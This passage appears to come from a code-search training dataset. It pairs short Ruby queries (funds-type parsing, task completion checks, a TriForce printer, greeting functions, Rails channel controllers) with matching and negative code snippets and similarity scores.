"def parse_funds_type(funds_type, rest)\n info = \\\n case funds_type\n when 'S'\n now, next_day, later, rest = rest.split(',', 4).map(&:strip)\n {\n availability: [\n {day: 0, amount: now},\n {day: 1, amount: now},\n {day: '>1', amount: now},\n ]\n }\n when 'V'\n value_date, value_hour, rest = rest.split(',', 3).map(&:strip)\n value_hour = '2400' if value_hour == '9999'\n {\n value_dated: {date: value_date, hour: value_hour}\n }\n when 'D'\n field_count, rest = rest.split(',', 2).map(&:strip)\n availability = field_count.to_i.times.map do\n days, amount, rest = rest.split(',', 3).map(&:strip)\n {days: days.to_i, amount: amount}\n end\n {availability: availability}\n else\n {}\n end\n [info, rest]\n end"
] | [
"0.7135158",
"0.690771",
"0.6828559",
"0.6254563",
"0.6082418",
"0.5800142",
"0.5671633",
"0.56613845",
"0.5569145",
"0.5483706",
"0.5258803",
"0.5194716",
"0.5153253",
"0.51316893",
"0.50979567",
"0.5064813",
"0.5043189",
"0.5036312",
"0.5010712",
"0.500379",
"0.4957756",
"0.4926379",
"0.49227363",
"0.49226198",
"0.4910546",
"0.49061555",
"0.48869672",
"0.48855534",
"0.48698726",
"0.48606324"
] | 0.74991095 | 1 |
is_done depends if subtasks are all done | def is_ready
if self.tasks.empty? and not self.is_done # no tasks assigned for this
false
elsif (self.tasks.find_by is_done: false).nil? # can't find any false => all tasks are done
self.update_attribute(:is_done, true)
true
else
false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_complete\n self.tasks.count == self.tasks.done.count\n end",
"def done?\n self.done\n end",
"def done?\n @done \n end",
"def done?\n @done\n end",
"def done?\n @done\n end",
"def done?\r\n @done\r\n end",
"def has_subtasks?\n\t\ttasks.size > 0\n\tend",
"def is_done?\n return @is_done\n end",
"def tasks_are_finished?\n return true if @tasks_are_finished\n finished = all? do |task|\n task.finished?\n end\n if finished\n debug 'All tasks are finished'\n @tasks_are_finished = true\n end\n finished\n end",
"def not_completed?\n tasks.any? { |task| task.done != 100 }\n end",
"def update_task_if_children_tasks_are_completed\n if type == EducationDocumentSearchTask.name && children.last.completed?\n update!(status: Constants.TASK_STATUSES.completed)\n else\n update!(status: Constants.TASK_STATUSES.assigned)\n end\n end",
"def done?\n @done\n end",
"def done?\n @done\n end",
"def tasks_remain?\n\t\ttasks.any?{ |t| t.completed.nil? }\n\tend",
"def done?\n\t\tstatus == DONE\n\tend",
"def mark_as_done\n @is_done = true\n end",
"def depends_on?(other_task)\n depends_on.include?(other_task)\n end",
"def done?\n @state == :done\n end",
"def done?\n return @done\n end",
"def done\n @done.each &:call\n end",
"def done\n @done\n end",
"def validate_tasks\n validated = false\n if tasks_completed?\n validated = tasks_completed!\n end\n\n validated\n end",
"def completed? # Is task completed? method\n completed_status # True or false\n end",
"def done?; true end",
"def update_done\n self.done = true if COMPLETE_STATUSES.include? self.detailed_status\n end",
"def done?\n get_ingest_run.done?\n end",
"def done?\n # Fill this in\n end",
"def complete?\n !pending?\n end",
"def finished?\n self.completed? || self.failed?\n end",
"def done\n @done = true\n end"
] | [
"0.73911864",
"0.7034966",
"0.69945025",
"0.69083315",
"0.69083315",
"0.6902642",
"0.69001013",
"0.6850276",
"0.6840231",
"0.6799949",
"0.6798258",
"0.6795368",
"0.6795368",
"0.66567475",
"0.6629424",
"0.66048133",
"0.6597338",
"0.6556361",
"0.6551072",
"0.6518318",
"0.6514433",
"0.65135646",
"0.6492665",
"0.6490589",
"0.6482606",
"0.64309627",
"0.64179295",
"0.6416622",
"0.64165175",
"0.6406982"
] | 0.719278 | 1 |
Part Two: FIXME: Functions Ascii Create a function that returns nothing and which doesn't takes any parameter. It should just be named "TriForce" and print the TriForce symbol (one triangle over two other ones, can be found on internet) with "TRIFORCE" Don't forget to call the function ! | def TriForce
puts(" /\\ ");
puts(" /__\\ ");
puts(" /\\ /\\ ");
puts("/__\\/__\\ ");
puts(" TRIFORCE ");
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def left_tri(tri)\n\nend",
"def right_tri(tri)\n\nend",
"def triangle(angle1, angle2, angle3)\n sides = [angle1, angle2, angle3]\n return :invalid if invalid_triangle? [angle1, angle2, angle3]\n return :acute if acute? sides\n return :obtuse if obtuse? sides\n return :right if right? sides\nend",
"def triangle(a, b, c)\n\t\n\tcheckValidity(a,b,c)\n\t\n\tif (equilateral?(a,b,c))\n\t\treturn :equilateral\n\tend\n\tif (isosceles?(a,b,c))\n\t\treturn :isosceles\n\tend\n\t:scalene\nend",
"def triangle(num1, num2, num3)\n if (num1 + num2 + num3) != 180\n return :invalid \n elsif num1 == 0 || num2 == 0 || num3 == 0 \n return :invalid\n elsif num1 > 90 || num2 > 90 || num3 > 90\n return :obtuse \n elsif num1 == 90 || num2 == 90 || num3 == 90\n return :right \n else \n :acute\n end\nend",
"def triangle(n)\n n.times{ |i| puts \"#{' ' * (n-i+1)}#{'*' * (i+1)}\" }\nend",
"def triangle(num)\n space = ' '\n star = '*'\n (num + 1).times do |time|\n puts space * (num - time) + (star * time)\n end\nend",
"def triangle(ang1, ang2, ang3)\n ary = [ang1, ang2, ang3].sort\n return :invalid if ary.sum != 180 || ary.include?(0)\n if ary[-1] < 90\n :acute\n elsif ary[-1] == 90\n :right\n else\n :obtuse\n end\nend",
"def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend",
"def triangle(a, b, c)\n triangle = Triangle.new(a,b,c)\n triangle.type\nend",
"def triangle(number)\n number_of_spaces = number - 1\n number.times do\n puts (' ' * number_of_spaces) + ('*' * (number - number_of_spaces))\n number_of_spaces -= 1\n end\nend",
"def triangle(integer)\n stars = 1\n integer.times do \n puts \" \" * (integer - stars) + (\"*\" * stars)\n stars += 1\n end\nend",
"def triangle(n)\n 1.upto(n){ |i| p \"#{' ' * (n-i)}#{ '*' * i }\" }\nend",
"def triangle(a,b,c)\n raise TriangleError unless is_valid_triangle?(a,b,c)\n h = [a]\n h << b unless h.include?(b)\n h << c unless h.include?(c)\n return :equilateral if h.length == 1\n return :isosceles if h.length == 2\n :scalene\nend",
"def triangle(num)\n num.times { |a| p (' ' * (num - a)) + ('*' * (a + 1)) }\nend",
"def triangle(reps)\n (0...reps).each do |x|\n puts \"*\" * (2 ** x)\n end\nend",
"def triangle_number(integer)\n\nend",
"def triangles(n)\n space_count = n\n star_count = 1\n\n while star_count <= n\n puts \"#{' ' * space_count}#{'*' * star_count}\"\n space_count -= 1\n star_count += 1\n end\nend",
"def triangle(a, b, c)\n angles = [a, b, c]\n return :invalid unless angles.sum == 180 && angles.none?(&:zero?) # no 0s and sum to 180\n return :right if angles.any? { |x| x == 90 }\n return :obtuse if angles.any? { |x| x > 90 }\n :acute\nend",
"def display_trilogy_fact(user_fact_choice) # puts user's desired Trilogy fact to CL\n if user_fact_choice == 1\n puts Character.most_talkative_character_in_trilogy\n puts <<-gandalf\n ,---.\n / |\n / |\n Gandalf / |\n / |\n ___,' |\n < -' :\n `-.__..--'``-,_\\\\_\n |o/ ` :,.)_`>\n :/ ` ||/)\n (_.).__,-` |\\\n /( `.`` `| :\n \\\\'`-.) ` ; ;\n | ` /-<\n | ` / `.\n ,-_-..____ /| ` :__..-'\\\n /,'-.__\\\\ ``-./ :` ; \\\n `\\\\`\\\\ `\\\\ \\\\ : ( ` / , `. \\\n \\\\` \\\\ \\\\ | | ` : : .\\\\ \\\n \\\\ `\\\\_ )) : ; | | ): :\n (`-.-'\\\\ || |\\\\\\\\ ` ; ; | |\n \\\\-_ `;;._ ( ` / /_ | |\n `-.-.// ,'`-._\\\\__/_,' ; |\n \\\\:: : / ` , / |\n || | ( ,' / / |\n || ,' / SSt|\n gandalf\n else\n puts Character.least_talkative_character_in_trilogy\n end\n end",
"def triangle(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend",
"def triangle(n)\n counter = 1\n\n loop do\n puts \"#{' ' * (n-counter)}#{'*' * counter}\"\n counter += 1\n break if counter > n\n end\nend",
"def triangle(number)\n 1.upto(number) do |num| \n puts (\" \" * num) + (\"*\" * number)\n number -= 1\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\n\nend",
"def triangle(n)\n line = 0\n loop do\n puts ' ' * (n - line) + ('*' * line)\n break if line == n\n line += 1\n end\nend",
"def triangular_word?(word)\n triangle(count(word))\n\nend",
"def triangle(n)\n\tstar = \"*\"\n\tspace = \" \"\n\tcounter = 0\n\tloop do\n\t\tcounter += 1\n\t\tputs (space * (n - counter)) + (star * (n - (n - counter)))\n\t\tbreak if counter == n\n\tend\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\nend",
"def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend",
"def triangle(n)\n (1..n).each { |row| puts ' ' * (n - row) + '*' * row }\nend"
] | [
"0.6289363",
"0.6232166",
"0.6113143",
"0.6080563",
"0.60054225",
"0.59750766",
"0.5930111",
"0.59246683",
"0.5917295",
"0.5812247",
"0.58060527",
"0.57829684",
"0.5774024",
"0.576952",
"0.5767735",
"0.5763407",
"0.5756691",
"0.5724351",
"0.5720728",
"0.57176334",
"0.5716913",
"0.5703597",
"0.56909907",
"0.56894773",
"0.5681526",
"0.56803894",
"0.56721896",
"0.5666587",
"0.5664149",
"0.564469"
] | 0.74860245 | 0 |
FIXME: Functions One parameter Create a function that takes a string as parameter and returns "Hello (value of string) !" | def HelloString(str)
puts "Hello #{ str } !"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hello(name)\n \n str = \"Hello, #{name}\"\n return str \n \nend",
"def my_string\n'Hello World'\nend",
"def hello1(name)\n 'Hello ' + name\nend",
"def hello1(name)\n 'Hello ' + name\nend",
"def hello1(name)\n 'Hello ' + name \nend",
"def hello1 (name)\n 'Hello ' + name\nend",
"def hello(name)\n # YOUR CODE HERE\n output_string = \"Hello, \"+name\n return output_string\nend",
"def say_hello(name)\n \"Hi #{name}!\"\nend",
"def hello(name)\n \"Hello #{name}\"\nend",
"def hello(name) \n\t\"hello #{name}\"\nend",
"def hello(name) #\n \"Hello, #{name}!\" #\nend",
"def my_string\n 'Hello World'\nend",
"def hello2 name2 \r\n 'Hello ' + name2 \r\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\n \"Hello, #{name}\"\nend",
"def hello(name)\r\n return \"Hello, #{name}\" \r\nend",
"def hello1(name)\n 'halo ' + name\nend",
"def hello2 (name2)\n 'Hello ' + name2\nend",
"def hello(name)\n return \"Hello, \" + name.to_s\nend",
"def hello(name)\n return \"Hello, \" + name.to_s\nend",
"def say_hello(name)\n return \"Hi, #{name}. Have a good day.\"\nend"
] | [
"0.79108244",
"0.77328014",
"0.7717336",
"0.7717336",
"0.77092487",
"0.77011716",
"0.7632537",
"0.75697106",
"0.7568116",
"0.756538",
"0.7558579",
"0.75428605",
"0.7515395",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7508829",
"0.7474127",
"0.74611855",
"0.74527836",
"0.7438311",
"0.7438311",
"0.7431154"
] | 0.83319557 | 0 |
GET /universal_channels GET /universal_channels.json | def index
@universal_channels = UniversalChannel.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def channels_list\n get \"channels\"\n end",
"def channels(params = {page:1})\n http.get('/channels', params)\n end",
"def channels \n debug [query[\"channels\"], \" are registered channels\"]\n @channels ||= query[\"channels\"].collect(&:strip).reject(&:empty?) \n @channels[0] ||= nil # Every user should have at last one channel\n @channels\n end",
"def set_universal_channel\n @universal_channel = UniversalChannel.find(params[:id])\n end",
"def index\r\n @channels = current_user.channels.all\r\n end",
"def live\r\n channels = Channel.live\r\n render json: channels\r\n end",
"def load_channels\n APICache.logger = Somadic::Logger\n APICache.get('di_fm_channel_list', cache: ONE_DAY, timeout: API_TIMEOUT) do\n Somadic::Logger.debug('DI#load_channels')\n channels = []\n page = open('http://www.di.fm').read\n app_start = page.scan(/di\\.app\\.start\\((.*?)\\);/).flatten[0]\n json = JSON.parse(app_start)\n json['channels'].each do |c|\n channels << {id: c['id'], name: c['key'], display_name: c['name']}\n end\n\n channels\n end\n end",
"def create\n @universal_channel = UniversalChannel.new(universal_channel_params)\n\n respond_to do |format|\n if @universal_channel.save\n format.html { redirect_to @universal_channel, notice: 'Universal channel was successfully created.' }\n format.json { render :show, status: :created, location: @universal_channel }\n else\n format.html { render :new }\n format.json { render json: @universal_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getChannelsList\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n result = HTTParty.get(broker_url + \"/resources/channels\", :verify => false)\n temp2 = JSON.parse(result.body)\n\n channels_data = temp2[\"resource_response\"][\"resources\"]\n return channels_data\n \n end",
"def index\n @channels = Channel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @channels }\n end\n end",
"def index\n \t@channels = Channel.all\n\t\t render json: @channels\n end",
"def channels\n build :channels, :using => data_for(:channels)\n end",
"def get_subscribed_channels\n @channels\n end",
"def active_channels\n channels = Channel.where(:active => true)\n json_response(channels)\n end",
"def list_resources\n 'channels'\n end",
"def all\r\n channels = Channel.all.order(:id)\r\n render json: channels\r\n end",
"def index\n @channels = Channel.all\n end",
"def index\n @channels = Channel.all\n end",
"def get_channels\n\n\t\t#should return json of the first page of channels as a set of objects\n\t\ti = 1\n\t\tdone = false\n\t\tnew_channels = []\n\n\t\tuntil done do\n\t\t\t# get the first page of data, because we always need that\n\t\t\tcurrent_page = @salsify.get('channels', {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t:page => i,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t:per_page => \"50\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t})\n\n\t\t\t#determine the total number of pages\n\t\t\ttotal_pages = @salsify.get_total_pages(current_page)\n\t\t\tputs \"we have #{total_pages} total pages to get through\"\n\n\t\t\t#store the channels on this page\n\t\t\tnew_channels += channels_to_objects(current_page)\n\t\t\tputs \"completed page #{i}\"\n\n\n\t\t\t# if we have no more pages to fetch, we're done!\n\t\t\tif(i >= total_pages)\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\ti += 1\n\t\tend\n\n\t\tnew_channels\n\n\tend",
"def subscribed_channels\n @channels\n end",
"def get_all_channels\n user_id = current_user.id\n user_channels=Chatbox.uniq.where(:user_id => user_id).pluck(:channel)\n return user_channels \n end",
"def channels\n @format.channels\n end",
"def applicable_channels\n if @channel_group == :_none_\n # it's a single channel\n [@channel]\n else\n @config.channels_by_group(@channel_group)\n end\n end",
"def index\n @channels = Channel.where(:user_id => current_user.id).to_a\n end",
"def show\n channel = Channel.find(params[:id])\n json_response(channel)\n end",
"def show\r\n channel = Channel.where(service: channel_params[:service], channel: channel_params[:channel]).first\r\n render json: channel\r\n end",
"def channels\r\n return for_context(nil, false) { |c| c.channels }\r\n end",
"def service\r\n channels = Channel.where(service: channel_params[:service])\r\n render json: channels\r\n end",
"def get_upstream_channels\r\n logger.debug \"Upstream1 Channels\"\r\n upstream_channels=UpstreamChannel.find(:all)\r\n logger.debug \"Upstream Channels2\"\r\n chlist=upstream_channels.collect {|ch| {:freq=>ch.freq, :bandwidth => ch.bandwidth, :name => ch.name}}\r\n logger.debug \"Upstream Channels3\"\r\n logger.debug upstream_channels.inspect()\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => chlist.to_x }\r\n format.amf { \r\n logger.debug \"Returning upstream_channels\"\r\n logger.debug \"Returning #{upstream_channels}\"\r\n render :amf => chlist\r\n }\r\n end\r\n end",
"def update\n respond_to do |format|\n if @universal_channel.update(universal_channel_params)\n format.html { redirect_to @universal_channel, notice: 'Universal channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @universal_channel }\n else\n format.html { render :edit }\n format.json { render json: @universal_channel.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7431829",
"0.7186033",
"0.7075986",
"0.7033682",
"0.68589044",
"0.67742974",
"0.6769116",
"0.6765733",
"0.67098844",
"0.6702308",
"0.6682825",
"0.6620975",
"0.6608966",
"0.66063213",
"0.66014725",
"0.65612507",
"0.6547794",
"0.6547794",
"0.6541302",
"0.6519196",
"0.64886695",
"0.64259386",
"0.64195544",
"0.6412657",
"0.64092624",
"0.6393012",
"0.6382995",
"0.63829035",
"0.63806605",
"0.6362562"
] | 0.7938018 | 0 |
POST /universal_channels POST /universal_channels.json | def create
@universal_channel = UniversalChannel.new(universal_channel_params)
respond_to do |format|
if @universal_channel.save
format.html { redirect_to @universal_channel, notice: 'Universal channel was successfully created.' }
format.json { render :show, status: :created, location: @universal_channel }
else
format.html { render :new }
format.json { render json: @universal_channel.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def universal_channel_params\n params.require(:universal_channel).permit(:message)\n end",
"def set_universal_channel\n @universal_channel = UniversalChannel.find(params[:id])\n end",
"def create\n @raw_channel = RawChannel.new(params[:raw_channel])\n\n respond_to do |format|\n if @raw_channel.save\n format.html { redirect_to @raw_channel, notice: 'Raw channel was successfully created.' }\n format.json { render json: @raw_channel, status: :created, location: @raw_channel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @raw_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def channels_create(params = {}, opts = {})\n log.info { \"out_slack: channels_create #{params.dup.tap {|p| p[:token] = '[FILTERED]' if p[:token] }}\" }\n post(channels_create_endpoint, params)\n end",
"def create\r\n @channel = Channel.new(channel_params)\r\n\r\n respond_to do |format|\r\n if @channel.save\r\n format.html { redirect_to user_channels_path(current_user)}\r\n else\r\n format.html { render :new, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def index\n @universal_channels = UniversalChannel.all\n end",
"def create\n @channel = Channel.new(channel_params)\n respond_to do |format|\n if @channel.save\n format.json { render :show, status: :created, location: @channel}\n else\n format.json { render json: @channel.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @channel = Channel.new(params[:channel])\n\n respond_to do |format|\n if @channel.save\n format.html { redirect_to @channel, notice: 'Channel was successfully created.' }\n format.json { render json: @channel, status: :created, location: @channel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @channel = Channel.new(channel_params)\n\n respond_to do |format|\n if @channel.save\n format.html { redirect_to @channel, notice: 'Channel was successfully created.' }\n format.json { render action: 'show', status: :created, location: @channel }\n else\n format.html { render action: 'new' }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @channel = Channel.new(channel_params)\n\n respond_to do |format|\n if @channel.save\n format.html { redirect_to @channel, notice: 'Channel was successfully created.' }\n format.json { render action: 'show', status: :created, location: @channel }\n else\n format.html { render action: 'new' }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @universal_channel.update(universal_channel_params)\n format.html { redirect_to @universal_channel, notice: 'Universal channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @universal_channel }\n else\n format.html { render :edit }\n format.json { render json: @universal_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @channel = Channel.new(params[:channel])\n @channel.user = current_user\n flash[:notice] = t('controllers.channels.channel_was_successfully_created') if @channel.save\n\n respond_with @channel\n end",
"def create\n @channel = Channel.find(params[:channel_id])\n rescue ActiveRecord::RecordNotFound => e\n respond_to do |format|\n format.html { redirect_to :back, notice: I18n.t('general.failed_to_subscribe') }\n format.json { render json: e, status: :unprocessable_entity }\n end\n else\n message = if current_user.max_channels_reached?\n I18n.t('maximum_channels_reached')\n elsif current_user.channels.include?(@channel)\n I18n.t('already_subscribed')\n end\n\n if (!current_user.channels.include?(@channel) && !current_user.max_channels_reached?)\n current_user.channels << @channel\n respond_to do |format|\n format.html { redirect_to @channel, notice: I18n.t('general.subscribed') }\n format.json { render json: @channel, status: :created, location: @channel }\n end\n else\n respond_to do |format|\n format.html { redirect_to @channel, notice: I18n.t('general.unable_to_subscribe') }\n format.json { render json: message, status: :unprocessable_entity }\n end\n end\n end",
"def create\n channel = Channel.create!(channel_params)\n joined = ChannelJoined.create!(user_id: params[:user_id], channel_id: channel.id)\n json_response(channel)\n end",
"def update_channels(channels = [])\n @attributes[:channels] = Array(channels)\n end",
"def channels\n build :channels, :using => data_for(:channels)\n end",
"def create_channel_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ChatChannelsApi.create_channel ...'\n end\n # resource path\n local_var_path = '/chat/users/me/channels'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2012')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ChatChannelsApi#create_channel\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @channel = Channel.new(params[:channel])\n\n respond_to do |format|\n if @channel.save\n @channel.users << @user\n @channel.save\n flash[:notice] = 'Channel was successfully created.'\n format.html { redirect_to(@channel) }\n format.xml { render :xml => @channel, :status => :created, :location => @channel }\n else\n flash[:warning] = 'Could not create channel'\n logger.debug @channel.errors.full_messages\n format.html { render :action => \"new\" }\n format.xml { render :xml => @channel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_channel(channel)\n puts \"running create_channel, channel = #{channel.inspect}\"\n key_check = RestClient.get \"#{$base_url}/channels/#{channel[\"key\"]}\" #space should be escaped :)\n if key_check.nil? || key_check['key'].nil?\n #params = { 'key' => channel[\"key\"], 'name' => channel[\"name\"], 'description' => channel[\"description\"] },\n result = RestClient.post \"#{$base_url}/channels/create\", channel.to_json, :content_type => :json\n puts result.inspect # Test for checking that request is valid\n else \n puts \"Error, Channel is already exsists - #{key_check.inspect}\"\n end\nend",
"def create\n @channel_status = ChannelStatus.new(params[:channel_status])\n\n respond_to do |format|\n if @channel_status.save\n format.html { redirect_to @channel_status, notice: 'Channel status was successfully created.' }\n format.json { render json: @channel_status, status: :created, location: @channel_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @channel_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @universal_channel.destroy\n respond_to do |format|\n format.html { redirect_to universal_channels_url, notice: 'Universal channel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def channel_params\n params.require(:channel).permit(:name, :description, :user_id, :privacy)\n end",
"def channel_params\n params.require(:channel).permit(:url, :name, :user_id)\n end",
"def create\n @channel_type = ChannelType.new(channel_type_params)\n\n respond_to do |format|\n if @channel_type.save\n format.html { redirect_to channel_types_path, notice: 'Channel type was successfully created.' }\n format.json { render :show, status: :created, location: @channel_type }\n else\n format.html { render :new }\n format.json { render json: @channel_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n byebug\n @tv_channel = TvChannel.new(tv_channel_params)\n\n respond_to do |format|\n if @tv_channel.save\n format.html { redirect_to @tv_channel, notice: 'Tv channel was successfully created.' }\n format.json { render :show, status: :created, location: @tv_channel }\n else\n format.html { render :new }\n format.json { render json: @tv_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def channel_params\n params.require(:channel).permit(:channel_id, :channel_description, :channel_status)\n end",
"def create\n @channel_class = ChannelClass.new(channel_class_params)\n\n respond_to do |format|\n if @channel_class.save\n format.html { redirect_to @channel_class, notice: '频道创建成功.' }\n format.json { render :show, status: :created, location: @channel_class }\n else\n format.html { render :new }\n format.json { render json: @channel_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @channel_info = ChannelInfo.new(params[:channel_info])\n\n respond_to do |format|\n if @channel_info.save\n format.html { redirect_to marketing_channel_info_path(@channel_info), notice: 'Channel info was successfully created.' }\n format.json { render json: marketing_channel_info_path(@channel_info), status: :created, location: @channel_info }\n end\n end\n end",
"def create_default_channels\n private_chan = Channel.new\n private_chan.user_id = self.id\n private_chan.title = \"Private Videos\"\n private_chan.private = true\n private_chan.save\n \n public_chan = Channel.new\n public_chan.user_id = self.id\n public_chan.title = \"Public Videos\"\n public_chan.save\n \n featured_chan = Channel.new\n featured_chan.user_id = self.id\n featured_chan.title = \"Featured Videos\"\n featured_chan.featured = true\n featured_chan.save\n end",
"def create\n response = Pusher[params[:channel_name]].authenticate(params[:socket_id])\n render :json => response\n end"
] | [
"0.6977511",
"0.67895305",
"0.65551823",
"0.6482803",
"0.64813274",
"0.6471311",
"0.63986546",
"0.6300689",
"0.6265254",
"0.6265254",
"0.6215875",
"0.6210978",
"0.61555034",
"0.6142378",
"0.60629135",
"0.60627675",
"0.6013366",
"0.5984147",
"0.5946757",
"0.59364504",
"0.5932084",
"0.59248376",
"0.59225285",
"0.58720994",
"0.58673936",
"0.585902",
"0.58250344",
"0.5787822",
"0.5778235",
"0.57608736"
] | 0.784523 | 0 |
PATCH/PUT /universal_channels/1 PATCH/PUT /universal_channels/1.json | def update
respond_to do |format|
if @universal_channel.update(universal_channel_params)
format.html { redirect_to @universal_channel, notice: 'Universal channel was successfully updated.' }
format.json { render :show, status: :ok, location: @universal_channel }
else
format.html { render :edit }
format.json { render json: @universal_channel.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @raw_channel = RawChannel.find(params[:id])\n\n respond_to do |format|\n if @raw_channel.update_attributes(params[:raw_channel])\n format.html { redirect_to @raw_channel, notice: 'Raw channel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @raw_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @channel.update(channel_params)\n format.html { redirect_to @channel, notice: 'Channel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @channel.update(channel_params)\n format.html { redirect_to @channel, notice: 'Channel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @channel.update(channel_params)\n format.html { redirect_to @channel, notice: 'Channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @channel }\n else\n format.html { render :edit }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @channel.update(channel_params)\n format.html { redirect_to @channel, notice: 'Channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @channel }\n else\n format.html { render :edit }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @channel = Channel.find(params[:id])\n\n respond_to do |format|\n if @channel.update_attributes(params[:channel])\n format.html { redirect_to @channel, notice: 'Channel was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n channel = Channel.where(service: channel_params[:service], channel: channel_params[:channel]).first\r\n if channel.nil?\r\n render json: {error: true, message: \"Channel not found\"}\r\n else\r\n if channel.update(chanmod_params)\r\n render json: channel\r\n else\r\n render json: {error: true, message: channel.errors}\r\n end\r\n end\r\n end",
"def update\r\n respond_to do |format|\r\n if @channel.update(channel_params)\r\n format.html { redirect_to user_channels_path(current_user)}\r\n else\r\n format.html { render :edit, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update_channels(channels = [])\n @attributes[:channels] = Array(channels)\n end",
"def set_universal_channel\n @universal_channel = UniversalChannel.find(params[:id])\n end",
"def update\n @channel_status = ChannelStatus.find(params[:id])\n\n respond_to do |format|\n if @channel_status.update_attributes(params[:channel_status])\n format.html { redirect_to @channel_status, notice: 'Channel status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @channel_status.errors, status: :unprocessable_entity }\n end\n end\n end",
